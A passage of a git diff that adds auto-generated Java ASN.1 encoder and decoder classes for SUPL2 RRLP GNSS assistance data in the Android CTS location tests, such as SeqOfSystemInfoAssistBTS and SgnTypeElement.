+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfSgnTypeElement = [\n");
+ final String internalIndent = indent + " ";
+ for (SgnTypeElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
new file mode 100755
index 0000000..2ac2346
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfStandardClockModelElement
+ extends Asn1SequenceOf<StandardClockModelElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfStandardClockModelElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfStandardClockModelElement() {
+ super();
+ setMinSize(1);
+setMaxSize(2);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfStandardClockModelElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfStandardClockModelElement != null) {
+ return ImmutableList.of(TAG_SeqOfStandardClockModelElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfStandardClockModelElement from encoded stream.
+ */
+ public static SeqOfStandardClockModelElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfStandardClockModelElement result = new SeqOfStandardClockModelElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfStandardClockModelElement from encoded stream.
+ */
+ public static SeqOfStandardClockModelElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfStandardClockModelElement result = new SeqOfStandardClockModelElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public StandardClockModelElement createAndAddValue() {
+ StandardClockModelElement value = new StandardClockModelElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfStandardClockModelElement = [\n");
+ final String internalIndent = indent + " ";
+ for (StandardClockModelElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
new file mode 100755
index 0000000..bdb968f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfSystemInfoAssistBTS
+ extends Asn1SequenceOf<SystemInfoAssistBTS> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfSystemInfoAssistBTS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfSystemInfoAssistBTS() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfSystemInfoAssistBTS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfSystemInfoAssistBTS != null) {
+ return ImmutableList.of(TAG_SeqOfSystemInfoAssistBTS);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfSystemInfoAssistBTS from encoded stream.
+ */
+ public static SeqOfSystemInfoAssistBTS fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfSystemInfoAssistBTS result = new SeqOfSystemInfoAssistBTS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfSystemInfoAssistBTS from encoded stream.
+ */
+ public static SeqOfSystemInfoAssistBTS fromPerAligned(byte[] encodedBytes) {
+ SeqOfSystemInfoAssistBTS result = new SeqOfSystemInfoAssistBTS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SystemInfoAssistBTS createAndAddValue() {
+ SystemInfoAssistBTS value = new SystemInfoAssistBTS();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfSystemInfoAssistBTS = [\n");
+ final String internalIndent = indent + " ";
+ for (SystemInfoAssistBTS value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
new file mode 100755
index 0000000..e63032f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfSystemInfoAssistBTS_R98_ExpOTD
+ extends Asn1SequenceOf<SystemInfoAssistBTS_R98_ExpOTD> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfSystemInfoAssistBTS_R98_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfSystemInfoAssistBTS_R98_ExpOTD() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfSystemInfoAssistBTS_R98_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfSystemInfoAssistBTS_R98_ExpOTD != null) {
+ return ImmutableList.of(TAG_SeqOfSystemInfoAssistBTS_R98_ExpOTD);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfSystemInfoAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static SeqOfSystemInfoAssistBTS_R98_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfSystemInfoAssistBTS_R98_ExpOTD result = new SeqOfSystemInfoAssistBTS_R98_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfSystemInfoAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static SeqOfSystemInfoAssistBTS_R98_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ SeqOfSystemInfoAssistBTS_R98_ExpOTD result = new SeqOfSystemInfoAssistBTS_R98_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SystemInfoAssistBTS_R98_ExpOTD createAndAddValue() {
+ SystemInfoAssistBTS_R98_ExpOTD value = new SystemInfoAssistBTS_R98_ExpOTD();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfSystemInfoAssistBTS_R98_ExpOTD = [\n");
+ final String internalIndent = indent + " ";
+ for (SystemInfoAssistBTS_R98_ExpOTD value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
new file mode 100755
index 0000000..6e27eb7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOf_BadSatelliteSet
+ extends Asn1SequenceOf<SatelliteID> {
+ //
+
+ private static final Asn1Tag TAG_SeqOf_BadSatelliteSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOf_BadSatelliteSet() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOf_BadSatelliteSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOf_BadSatelliteSet != null) {
+ return ImmutableList.of(TAG_SeqOf_BadSatelliteSet);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOf_BadSatelliteSet from encoded stream.
+ */
+ public static SeqOf_BadSatelliteSet fromPerUnaligned(byte[] encodedBytes) {
+ SeqOf_BadSatelliteSet result = new SeqOf_BadSatelliteSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOf_BadSatelliteSet from encoded stream.
+ */
+ public static SeqOf_BadSatelliteSet fromPerAligned(byte[] encodedBytes) {
+ SeqOf_BadSatelliteSet result = new SeqOf_BadSatelliteSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SatelliteID createAndAddValue() {
+ SatelliteID value = new SatelliteID();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOf_BadSatelliteSet = [\n");
+ final String internalIndent = indent + " ";
+ for (SatelliteID value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
new file mode 100755
index 0000000..1f18cdb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOf_GANSSDataBits
+ extends Asn1SequenceOf<GANSSDataBit> {
+ //
+
+ private static final Asn1Tag TAG_SeqOf_GANSSDataBits
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOf_GANSSDataBits() {
+ super();
+ setMinSize(1);
+setMaxSize(1024);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOf_GANSSDataBits;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOf_GANSSDataBits != null) {
+ return ImmutableList.of(TAG_SeqOf_GANSSDataBits);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOf_GANSSDataBits from encoded stream.
+ */
+ public static SeqOf_GANSSDataBits fromPerUnaligned(byte[] encodedBytes) {
+ SeqOf_GANSSDataBits result = new SeqOf_GANSSDataBits();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOf_GANSSDataBits from encoded stream.
+ */
+ public static SeqOf_GANSSDataBits fromPerAligned(byte[] encodedBytes) {
+ SeqOf_GANSSDataBits result = new SeqOf_GANSSDataBits();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSDataBit createAndAddValue() {
+ GANSSDataBit value = new GANSSDataBit();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOf_GANSSDataBits = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSDataBit value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
new file mode 100755
index 0000000..73ea9ef
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Seq_OfGANSSDataBitsSgn
+ extends Asn1SequenceOf<GANSSDataBitsSgnElement> {
+ //
+
+ private static final Asn1Tag TAG_Seq_OfGANSSDataBitsSgn
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Seq_OfGANSSDataBitsSgn() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Seq_OfGANSSDataBitsSgn;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Seq_OfGANSSDataBitsSgn != null) {
+ return ImmutableList.of(TAG_Seq_OfGANSSDataBitsSgn);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Seq_OfGANSSDataBitsSgn from encoded stream.
+ */
+ public static Seq_OfGANSSDataBitsSgn fromPerUnaligned(byte[] encodedBytes) {
+ Seq_OfGANSSDataBitsSgn result = new Seq_OfGANSSDataBitsSgn();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Seq_OfGANSSDataBitsSgn from encoded stream.
+ */
+ public static Seq_OfGANSSDataBitsSgn fromPerAligned(byte[] encodedBytes) {
+ Seq_OfGANSSDataBitsSgn result = new Seq_OfGANSSDataBitsSgn();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSDataBitsSgnElement createAndAddValue() {
+ GANSSDataBitsSgnElement value = new GANSSDataBitsSgnElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Seq_OfGANSSDataBitsSgn = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSDataBitsSgnElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SgnTypeElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SgnTypeElement.java
new file mode 100755
index 0000000..39fab20
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SgnTypeElement.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SgnTypeElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SgnTypeElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SgnTypeElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SgnTypeElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SgnTypeElement != null) {
+ return ImmutableList.of(TAG_SgnTypeElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SgnTypeElement from encoded stream.
+ */
+ public static SgnTypeElement fromPerUnaligned(byte[] encodedBytes) {
+ SgnTypeElement result = new SgnTypeElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SgnTypeElement from encoded stream.
+ */
+ public static SgnTypeElement fromPerAligned(byte[] encodedBytes) {
+ SgnTypeElement result = new SgnTypeElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSignalID ganssSignalID_;
+ public GANSSSignalID getGanssSignalID() {
+ return ganssSignalID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignalID
+ */
+ public void setGanssSignalID(Asn1Object value) {
+ this.ganssSignalID_ = (GANSSSignalID) value;
+ }
+ public GANSSSignalID setGanssSignalIDToNewInstance() {
+ ganssSignalID_ = new GANSSSignalID();
+ return ganssSignalID_;
+ }
+
+ private SgnTypeElement.ganssStatusHealthType ganssStatusHealth_;
+ public SgnTypeElement.ganssStatusHealthType getGanssStatusHealth() {
+ return ganssStatusHealth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SgnTypeElement.ganssStatusHealthType
+ */
+ public void setGanssStatusHealth(Asn1Object value) {
+ this.ganssStatusHealth_ = (SgnTypeElement.ganssStatusHealthType) value;
+ }
+ public SgnTypeElement.ganssStatusHealthType setGanssStatusHealthToNewInstance() {
+ ganssStatusHealth_ = new SgnTypeElement.ganssStatusHealthType();
+ return ganssStatusHealth_;
+ }
+
+ private SeqOfDGANSSSgnElement dganssSgnList_;
+ public SeqOfDGANSSSgnElement getDganssSgnList() {
+ return dganssSgnList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfDGANSSSgnElement
+ */
+ public void setDganssSgnList(Asn1Object value) {
+ this.dganssSgnList_ = (SeqOfDGANSSSgnElement) value;
+ }
+ public SeqOfDGANSSSgnElement setDganssSgnListToNewInstance() {
+ dganssSgnList_ = new SeqOfDGANSSSgnElement();
+ return dganssSgnList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSignalID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSignalID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSignalIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignalID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSignalID : "
+ + getGanssSignalID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssStatusHealth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssStatusHealth();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssStatusHealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SgnTypeElement.ganssStatusHealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
